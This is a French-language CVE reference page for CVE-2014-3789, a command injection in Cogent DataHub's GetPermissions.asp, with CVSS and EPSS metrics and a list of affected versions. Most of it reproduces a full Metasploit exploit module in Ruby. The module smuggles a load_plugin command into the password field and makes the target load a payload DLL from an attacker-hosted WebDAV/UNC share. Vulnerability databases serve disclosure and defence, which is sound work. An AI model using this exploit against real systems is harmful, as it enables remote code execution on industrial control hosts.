CVE-2014-3789
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Restez informé de toutes modifications pour un CVE spécifique.
Descriptions du CVE
GetPermissions.asp in Cogent Real-Time Systems Cogent DataHub before 7.3.5 allows remote attackers to execute arbitrary commands via unspecified vectors.
Informations du CVE
Faiblesses connexes
| Nom de la faiblesse | Source | |
|---|---|---|
| Improper Control of Generation of Code ('Code Injection') The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. |
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 7.5 | AV:N/AC:L/Au:N/C:P/I:P/A:P | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 33880
Date de publication : 2014-06-24 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
# Exploitation is reliable, but the service hangs and needs manual restarting.
Rank = ManualRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize
super(
'Name' => 'Cogent DataHub Command Injection',
'Description' => %q{
This module exploits an injection vulnerability in Cogent DataHub prior
to 7.3.5. The vulnerability exists in the GetPermissions.asp page, which
makes insecure use of the datahub_command function with user controlled
data, allowing execution of arbitrary datahub commands and scripts. This
module has been tested successfully with Cogent DataHub 7.3.4 on
Windows 7 SP1.
},
'Author' => [
'John Leitch', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'Platform' => 'win',
'References' =>
[
['ZDI', '14-136'],
['CVE', '2014-3789'],
['BID', '67486']
],
'Stance' => Msf::Exploit::Stance::Aggressive,
'DefaultOptions' => {
'WfsDelay' => 30,
'InitialAutoRunScript' => 'migrate -f'
},
'Targets' =>
[
[ 'Cogent DataHub < 7.3.5', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 29 2014'
)
register_options(
[
OptString.new('URIPATH', [ true, 'The URI to use (do not change)', '/']),
OptPort.new('SRVPORT', [ true, 'The daemon port to listen on ' +
'(do not change)', 80 ]),
OptInt.new('WEBDAV_DELAY', [ true, 'Time that the HTTP Server will ' +
'wait for the payload request', 20]),
OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ])
], self.class)
end
def autofilter
false
end
def on_request_uri(cli, request)
case request.method
when 'OPTIONS'
process_options(cli, request)
when 'PROPFIND'
process_propfind(cli, request)
when 'GET'
process_get(cli, request)
else
vprint_status("#{request.method} => 404 (#{request.uri})")
resp = create_response(404, "Not Found")
resp.body = ""
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
end
end
def process_get(cli, request)
if blacklisted_path?(request.uri)
vprint_status("GET => 404 [BLACKLIST] (#{request.uri})")
resp = create_response(404, "Not Found")
resp.body = ""
cli.send_response(resp)
return
end
if request.uri.include?(@basename)
print_status("GET => Payload")
return if ((p = regenerate_payload(cli)) == nil)
data = generate_payload_dll({ :code => p.encoded })
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
return
end
# Treat index.html specially
if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)
vprint_status("GET => REDIRECT (#{request.uri})")
resp = create_response(200, "OK")
resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=|
resp.body += %Q|#{@exploit_unc}#{@share_name}\\"></head><body></body></html>|
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
end
# Anything else is probably a request for a data file...
vprint_status("GET => DATA (#{request.uri})")
data = rand_text_alpha(4 + rand(4))
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
end
#
# OPTIONS requests sent by the WebDav Mini-Redirector
#
def process_options(cli, request)
vprint_status("OPTIONS #{request.uri}")
headers = {
'MS-Author-Via' => 'DAV',
'DASL' => '<DAV:sql>',
'DAV' => '1, 2',
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY,' +
+ ' MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, ' +
+ 'LOCK, UNLOCK',
'Cache-Control' => 'private'
}
resp = create_response(207, "Multi-Status")
headers.each_pair {|k,v| resp[k] = v }
resp.body = ""
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
#
# PROPFIND requests sent by the WebDav Mini-Redirector
#
def process_propfind(cli, request)
path = request.uri
vprint_status("PROPFIND #{path}")
if path !~ /\/$/
if blacklisted_path?(path)
vprint_status "PROPFIND => 404 (#{path})"
resp = create_response(404, "Not Found")
resp.body = ""
cli.send_response(resp)
return
end
if path.index(".")
vprint_status "PROPFIND => 207 File (#{path})"
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
return
else
vprint_status "PROPFIND => 301 (#{path})"
resp = create_response(301, "Moved")
resp["Location"] = path + "/"
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
end
end
vprint_status "PROPFIND => 207 Directory (#{path})"
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
if request["Depth"].to_i > 0
trail = path.split("/")
trail.shift
case trail.length
when 0
body << generate_shares(path)
when 1
body << generate_files(path)
end
else
vprint_status "PROPFIND => 207 Top-Level Directory"
end
body << "</D:multistatus>"
body.gsub!(/\t/, '')
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
end
def generate_shares(path)
share_name = @share_name
%Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{share_name}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
end
def generate_files(path)
trail = path.split("/")
return "" if trail.length < 2
base = @basename
exts = @extensions.gsub(",", " ").split(/\s+/)
files = ""
exts.each do |ext|
files << %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{base}.#{ext}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
<D:ishidden b:dt="boolean">1</D:ishidden>
</D:propstat>
</D:response>
|
end
files
end
def gen_timestamp(ttype=nil)
::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
end
def gen_datestamp(ttype=nil)
::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
end
# This method rejects requests that are known to break exploitation
def blacklisted_path?(uri)
share_path = "/#{@share_name}"
payload_path = "#{share_path}/#{@basename}.dll"
case uri
when payload_path
return false
when share_path
return false
else
return true
end
end
def check
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('/', 'Silverlight', 'GetPermissions.asp'),
'vars_post' =>
{
'username' => rand_text_alpha(4 + rand(4)),
'password' => rand_text_alpha(4 + rand(4))
}
})
if res && res.code == 200 && res.body =~ /PermissionRecord/
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
def send_injection(dll)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('/', 'Silverlight', 'GetPermissions.asp'),
'vars_post' =>
{
'username' => rand_text_alpha(3 + rand(3)),
'password' => "#{rand_text_alpha(3 + rand(3))}\")" +
"(load_plugin \"#{dll}\" 1)(\""
}
}, 1)
res
end
def on_new_session(session)
if service
service.stop
end
super
end
def primer
print_status("#{peer} - Sending injection...")
res = send_injection("\\\\\\\\#{@myhost}\\\\#{@share_name}\\\\#{@basename}.dll")
if res
print_error("#{peer} - Unexpected answer")
end
end
def exploit
if datastore['UNCPATH'].blank?
@basename = rand_text_alpha(3)
@share_name = rand_text_alpha(3)
@extensions = "dll"
@system_commands_file = rand_text_alpha_lower(4)
if (datastore['SRVHOST'] == '0.0.0.0')
@myhost = Rex::Socket.source_address('50.50.50.50')
else
@myhost = datastore['SRVHOST']
end
@exploit_unc = "\\\\#{@myhost}\\"
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
fail_with(Failure::BadConfig, 'Using WebDAV requires SRVPORT=80 and ' +
'URIPATH=/')
end
print_status("Starting Shared resource at #{@exploit_unc}#{@share_name}" +
"\\#{@basename}.dll")
begin
# The Windows Webclient needs some time...
Timeout.timeout(datastore['WEBDAV_DELAY']) { super }
rescue ::Timeout::Error
service.stop if service
end
else
# Using external SMB Server
if datastore['UNCPATH'] =~ /\\\\([^\\]*)\\([^\\]*)\\([^\\]*\.dll)/
host = $1
share_name = $2
dll_name = $3
print_status("#{peer} - Sending injection...")
res = send_injection("\\\\\\\\#{host}\\\\#{share_name}\\\\#{dll_name}")
if res
print_error("#{peer} - Unexpected answer")
end
else
fail_with(Failure::BadConfig, 'Bad UNCPATH format, should be ' +
'\\\\host\\shared_folder\\base_name.dll')
end
end
end
end
Products Mentioned
Configuraton 0
Cogentdatahub>>Cogent_datahub >> Version To (including) 7.3.4
- Cogentdatahub>>Cogent_datahub >> Version 7.0 (Open CPE detail)
- Cogentdatahub>>Cogent_datahub >> Version 7.0.2 (Open CPE detail)
- Cogentdatahub>>Cogent_datahub >> Version 7.1.0 (Open CPE detail)
- Cogentdatahub>>Cogent_datahub >> Version 7.1.1 (Open CPE detail)
- Cogentdatahub>>Cogent_datahub >> Version 7.1.1.63 (Open CPE detail)
- Cogentdatahub>>Cogent_datahub >> Version 7.1.2 (Open CPE detail)
- Cogentdatahub>>Cogent_datahub >> Version 7.2.2 (Open CPE detail)
- Cogentdatahub>>Cogent_datahub >> Version 7.3.0 (Open CPE detail)
Cogentdatahub>>Cogent_datahub >> Version 7.0
- Cogentdatahub>>Cogent_datahub >> Version 7.0 (Open CPE detail)
Cogentdatahub>>Cogent_datahub >> Version 7.0.2
- Cogentdatahub>>Cogent_datahub >> Version 7.0.2 (Open CPE detail)
Cogentdatahub>>Cogent_datahub >> Version 7.1.0
- Cogentdatahub>>Cogent_datahub >> Version 7.1.0 (Open CPE detail)
Cogentdatahub>>Cogent_datahub >> Version 7.1.1
- Cogentdatahub>>Cogent_datahub >> Version 7.1.1 (Open CPE detail)
Cogentdatahub>>Cogent_datahub >> Version 7.1.1.63
- Cogentdatahub>>Cogent_datahub >> Version 7.1.1.63 (Open CPE detail)
Cogentdatahub>>Cogent_datahub >> Version 7.1.2
- Cogentdatahub>>Cogent_datahub >> Version 7.1.2 (Open CPE detail)
Cogentdatahub>>Cogent_datahub >> Version 7.2.2
- Cogentdatahub>>Cogent_datahub >> Version 7.2.2 (Open CPE detail)
Cogentdatahub>>Cogent_datahub >> Version 7.3.0
- Cogentdatahub>>Cogent_datahub >> Version 7.3.0 (Open CPE detail)
Cogentdatahub>>Cogent_datahub >> Version 7.3.1
Cogentdatahub>>Cogent_datahub >> Version 7.3.2
Cogentdatahub>>Cogent_datahub >> Version 7.3.3
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